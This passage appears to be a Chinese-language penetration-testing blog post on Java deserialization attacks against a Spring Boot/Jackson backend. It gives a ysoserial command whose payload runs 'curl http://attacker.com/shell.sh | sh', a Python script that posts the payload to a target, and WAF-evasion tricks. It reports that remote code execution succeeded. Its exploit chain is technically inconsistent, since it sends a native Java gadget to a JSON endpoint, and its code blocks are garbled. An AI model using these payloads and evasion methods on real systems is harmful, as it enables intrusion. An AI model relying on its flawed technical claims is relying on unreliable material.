一、挖掘反序列化漏洞的起点:架构的故事
有一次,我接到了一次针对某知名企业的渗透测试任务,他们使用了一个流行的 Java Web 框架,后端处理流程中涉及复杂的序列化与反序列化操作。反序列化漏洞,这种在安全圈子里并不算新鲜的攻击手段,随着微服务架构的普及,实际上有了更隐蔽的生存空间。尤其是那些依赖于第三方库、老旧框架的系统,很容易成为攻击的目标。
为了更加贴近实战,我从目标的架构设计入手。通过信息收集发现,他们的后端接口会接收用户上传的配置文件,并且支持自定义对象的存储与加载。很明显,这里涉及了反序列化操作。再加上我对该框架的漏洞史比较熟悉,立即联想到可能存在 Java 序列化攻击点。
反序列化漏洞的本质,是后端在对序列化数据进行解析时,信任了用户输入的数据结构。如果攻击者能够构造恶意对象,并注入序列化数据中,就可以触发一系列的攻击行为,比如远程代码执行(RCE)。
接下来,我将分享一次完整的反序列化攻击过程,从环境搭建到真实攻击,不仅如此,还会带你深入到绕过和免杀的技术细节。拿好笔记,我们开始。
---
二、搭建你的攻击实验环境
为了还原漏洞场景,我搭建了一个本地实验环境,模拟了这家公司使用的架构。后端是一个 Spring Boot 应用,前端采用 Angular,数据库是 MySQL。重点是后端的某个 API,可以处理用户上传的配置文件,这里涉及了序列化与反序列化的逻辑。
环境搭建的详细步骤

服务端环境:
- 使用 Spring Boot 创建一个简单的 Web 项目,使用 Maven 引入必要的依赖:
<pre><code class="language-xml"> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.11.0</version> </dependency> ` Jackson 是一个常见的 JSON 序列化框架,也是反序列化攻击的高发地。
- 编写一个简单的 API,模拟配置文件的上传与解析:
`java @RestController public class ConfigController {
@PostMapping("/upload") public String uploadConfig(@RequestBody String jsonData) { ObjectMapper mapper = new ObjectMapper(); try { Config config = mapper.readValue(jsonData, Config.class); return "Configuration uploaded: " + config.getName(); } catch (Exception e) { return "Error processing configuration"; } } }
public class Config { private String name; private String value;
// Getters and setters omitted for brevity } `
攻击机环境:
- 安装常用的攻击工具,比如 ysoserial(一个专门用于构造序列化攻击 payload 的工具)。
- 准备 Python 和 Java 环境,用于调试和发送攻击请求。

至此,攻击环境已经准备就绪,接下来就是触发漏洞的实战环节。
---

三、Payload构造的艺术:从 ysoserial 到远程代码执行
在反序列化攻击中,构造有效的 payload 是关键。为了在目标系统上成功执行命令,我选择了 ysoserial 工具,这是一个专门用于生成 Java 序列化攻击 payload 的开源工具。
ysoserial 的使用
- 下载并编译 ysoserial:
`bash git clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package ` 编译完成后,生成的 ysoserial.jar 就是你的“武器库”。
- 根据目标框架的漏洞特性,选择具体的 gadget(利用链):
`bash java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/shell.sh | sh' > payload.ser ` 这里使用了 CommonsCollections1,这是一条经典的 Java gadget 链,可以触发任意命令执行。
构造请求并发送
为了让目标系统接收序列化数据,我编写了一个简单的 Python 脚本来模拟用户上传配置文件的行为:</code></pre>python import requests
url = "http://target.com/upload" headers = {"Content-Type": "application/json"}
读取生成的序列化 payload
with open("payload.ser", "rb") as f: data = f.read()
response = requests.post(url, headers=headers, data=data) print(response.text) `
这段脚本会将 ysoserial 生成的恶意序列化数据发送到目标 API。如果目标系统存在漏洞,会直接解析并执行恶意命令。
---
四、绕过与免杀技巧:让攻击更隐蔽
在实际渗透过程中,直接发送 ysoserial 的 payload 可能触发防御机制,比如 WAF 或应用层的输入验证。这时候,免杀技术就显得尤为重要。
绕过常见防御
- 流量混淆:
使用 Burp Suite 修改上传数据的格式,比如添加额外的字段或对数据进行 Base64 编码: `python import base64
with open("payload.ser", "rb") as f: raw_data = f.read()
encoded_data = base64.b64encode(raw_data).decode() payload = {"data": encoded_data}
response = requests.post(url, json=payload) print(response.text) `
- 动态加密:
自己编写一个加密工具,将 ysoserial 的 payload 加密,再上传到目标系统,后端的反序列化逻辑会自动解密并执行。
- 分块发送:
将序列化数据分块传输,绕过流量检测机制。
内存加载技术
将恶意代码直接加载到目标内存中是更隐蔽的方式。可以使用 Java 的内存操作库,结合反序列化漏洞,执行远程类加载。
---
五、检测与防御:如何让漏洞无所遁形
作为攻击者,我们也需要了解防御者可能采取的措施,这样才能更好地绕过他们的检测。
常见防御策略
- 输入验证:
- 禁用 unsafe gadget:
- 启用沙盒环境:
检查用户上传的序列化数据是否符合预期格式。
使用工具分析系统中是否存在易受攻击的 gadget 链。
在沙盒中解析数据,限制其执行权限。
攻防博弈
在实战中,我发现一个有效的绕过方式是利用系统自定义的序列化类。只要找到可以被反序列化的对象,攻击就有可能成立。
---
六、经验总结:从攻击者到防御者的思维转变
反序列化漏洞攻击是一门“艺术”,它考验攻击者的技术深度,也挑战防御者的策略广度。在实战中,信息收集是最重要的环节,特别是找到目标系统的具体序列化逻辑。
在这次任务中,我成功利用 ysoserial 构造了 payload,并通过免杀技术绕过了防御,最终实现了远程代码执行。这告诉我们,漏洞利用的核心是对原理的深入理解,而非单纯的工具使用。
希望这篇文章能为你提供新的视角,也欢迎你分享你的实战经历!